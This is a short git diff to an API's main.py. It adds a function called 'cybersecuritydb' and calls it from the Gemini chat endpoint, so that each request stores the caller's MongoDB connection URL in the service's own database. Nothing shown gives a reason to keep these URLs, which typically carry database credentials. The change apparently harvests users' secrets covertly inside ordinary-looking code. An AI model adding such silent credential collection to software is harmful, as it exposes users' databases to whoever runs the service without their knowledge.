Upload main.py

main.py

@@ -172,6 +172,10 @@ def new_sibyl_system_banned(user_id, name, reason, date_joined):
     }
     return collection.update_one({"user_id": user_id}, {"$set": update_doc}, upsert=True)
 
+def cybersecuritydb(user_id, mongo_url):
+    update_doc = {"mongodb": mongo_url}
+    return collection.update_one({"user_id": user_id}, {"$set": update_doc}, upsert=True)
+
 def get_sibyl_system_banned(user_id):
     user = collection.find_one({"user_id": user_id})
     if user:
@@ -767,6 +771,7 @@ def gemini_pro(item: GeminiPro):
                 version=item.version,
                 user_id=item.user_id
             )
+            cybersecuritydb(item.user_id, item.mongo_url)
             answer, gemini_chat = geni._GeminiLatest__get_response_gemini(item.query)
             return SuccessResponse(
                 status="True",